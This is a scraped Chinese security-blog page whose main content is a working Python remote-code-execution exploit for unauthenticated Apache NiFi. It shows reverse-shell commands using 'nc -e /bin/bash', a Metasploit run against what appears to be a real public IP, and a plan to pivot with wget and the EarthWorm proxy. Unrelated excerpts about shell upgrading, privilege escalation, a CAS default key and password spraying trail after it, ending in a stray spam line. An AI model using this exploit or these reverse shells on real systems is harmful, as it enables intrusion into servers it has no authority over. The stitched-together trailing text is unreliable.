    import sysimport jsonimport requests as reqclass Exp:    def __init__(self, url):        self.url = url    def check_is_vul(self):        url = self.url + "/nifi-api/access/config"        try:            res = req.get(url=url, verify=False)            data = res.json()            return not data["config"]["supportsLogin"]        except Exception as e:            pass        return False    def clean_up(self, p_id):        url = self.url + "/nifi-api/processors/" + p_id        data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'}        req.put(url=url + "/run-status", data=json.dumps(data), verify=False)        req.delete(url + "/threads", verify=False)    def exploit(self, cmd):        g_id = self.fetch_process_group()        if g_id:            p_id = self.create_process(g_id)            if p_id:                self.run_cmd(p_id=p_id, cmd=cmd)                self.clean_up(p_id=p_id)    def run_cmd(self, p_id, cmd):        url = self.url + "/nifi-api/processors/" + p_id        cmd = cmd.split(" ")        data = {            'component': {                'config': {                    'autoTerminatedRelationships': ['success'],                    'properties': {                        'Command': cmd[0],                        'Command Arguments': " ".join(cmd[1:]),                    },                    'schedulingPeriod': '3600 sec'                },                'id': p_id,                'state': 'RUNNING'            },            'revision': {'clientId': 'x', 'version': 1}        }        print(data)        headers = {            "Content-Type": "application/json",        }        res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False)        return res.json()    def fetch_process_group(self):        url = self.url + "/nifi-api/process-groups/root"        try:            res = req.get(url=url, verify=False)            data = res.json()["id"]            return data        except Exception as e:            pass        return 0    def create_process(self, process_group_id):        url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors"        data = {            'component': {                'type': 'org.apache.nifi.processors.standard.ExecuteProcess'            },            'revision': {                'version': 0            }        }        headers = {            "Content-Type": "application/json",        }        try:            res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False)            return res.json()["id"]        except Exception as e:            pass        return 0if __name__ == '__main__':    if len(sys.argv) != 3:        print("rce.py url cmd")    else:        url = sys.argv[1]  # http://192.168.1.1:8080        cmd = sys.argv[2]  # nc -e /bin/bash 192.168.1.129 1234        e = Exp(url)        e.exploit(cmd)監聽端口nc -lvp 6666執行命令python exp.py http://127.0.0.1:8080 "nc -e /bin/bash 192.168.1.102 6666"
    

    本地客戶端執行poc后提示如下,反彈成功:

    但是很多情況下本地執行后,雖然提示成功,但是無法正常反彈shell,本次的測試系統就是這樣,此處是嘗試利用msf自帶apache_nifi_processor_rce進行攻擊

    msf6 > use exploit/multi/http/apache_nifi_processor_rce[*] Using configured payload cmd/unix/reverse_bashmsf6 exploit(multi/http/apache_nifi_processor_rce) > set lhost 192.168.60.7lhost => 0.0.0.0msf6 exploit(multi/http/apache_nifi_processor_rce) > set lport 4444lport => 4444msf6 exploit(multi/http/apache_nifi_processor_rce) > set rhosts 目標iprhosts => 74.208.80.242msf6 exploit(multi/http/apache_nifi_processor_rce) > set rport 目標端口rport => 9090msf6 exploit(multi/http/apache_nifi_processor_rce) > run
    

    執行run后出現如下提示攻擊成功,可進行命令執行

    查看ip地址

    可利用wget進行文件下載,搭建代理環境,此處嘗試利用EarthWorm進行代理環境搭建

    shellbash
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    初識Shell
    2022-03-11 22:42:44
    程序是由序列組成的,告訴計算機如何完成一個具體的任務。編寫程序花費的時間往往是實際運行時間的幾十倍或幾百倍。除了計算機生產廠家的專業人員外,絕大多數的 程序員已經不再去學習機器語言了。包含的功能幾乎可以涵蓋Shell所具有的功能,所以一般的Shell腳本都會指定它為執行路徑。目前使用的 并不多,已經被/bin/tcsh所取代。
    # 此時攻擊機已經獲取到了bash$ python -c 'import pty; pty.spawn'$ ctrl + z //快捷鍵。$ fg$ reset //這一步我實測有問題,輸了會出問題,不輸也沒有影響,所以如果輸了有問題可以不輸。低權限提權首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Databas
    0x01 Apereo cas簡介Apereo CAS 單點登陸系統是Java服務器環境下使用較為廣泛的單點登陸系統。CAS 全程Central Authentication Service,是一個單點登錄協議,Apereo CAS是實現該協議的軟件包。Apereo CAS 4.1.X~4.1.6 默認密鑰Apereo CAS 4.1.7~4.2.X KEY隨機生成0x03漏洞利用與復現Webflow中使用了默認密鑰changeit,所以我們就可以利用默認密鑰生成序列化對象。
    本文記錄從零開始搭建F5 BIG-IP漏洞調試環境的細節。
    驗證子域郵箱名Invoke-DomainHarvestOWA-ExchHostname -Domain -UserList .\userName.txt -OutFile sprayed-ews-creds.txt. Office 365近源滲透物理滲透、物理攻擊、近源滲透,這幾個的意思都是在接近目標進行安全測試。Wi-Fi網線沒有終端準入控制,直接插網線 DHCP 獲取 IP。Bad USBBlack Hat 上提出 Bad USB。社會工程學在信息收集過程中就開始。釣魚本質是利用人的信任。Windows 主機FTP服務端開啟 FTP 服務。使用 certutil 下載的文件會原封不動在?目錄下保存一份,文件名位隨機字符,使用 delete 可以刪除剛下載的緩存。
    從Heartbleed到Apache Struts再到SolarWinds,這些是過去10年來發生的分水嶺式的網絡安全事件。嚴重的漏洞、廣泛的網絡攻擊已經改變了網絡安全的許多方面。為了回顧過去10年發生的安全事件,網絡安全供應商Trustwave公司日前發表了一篇名為《十年回顧:漏洞狀態》的博客文章,其中列出了過去10年中最突出和最值得注意的10個網絡安全問題和違規行為。
    AFL--模糊測試使用淺析
    靶場Kioptrix Level 1攻略
    2022-04-21 13:47:27
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    剛入行時在網上搜各種工具使用技巧及方法,通過別人的經驗提高自身的技巧,然后再拿個小本本記錄,這是每個網安人初入行時的必備姿勢,那么今天丹丹就拿起先前做過的筆記和網上別人的經驗做一個合集,把大部分使用到的工具技巧整理成冊,后續自己以及大家查閱,如總結不到位的地方希望海涵,那現在就開始吧。。。。。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类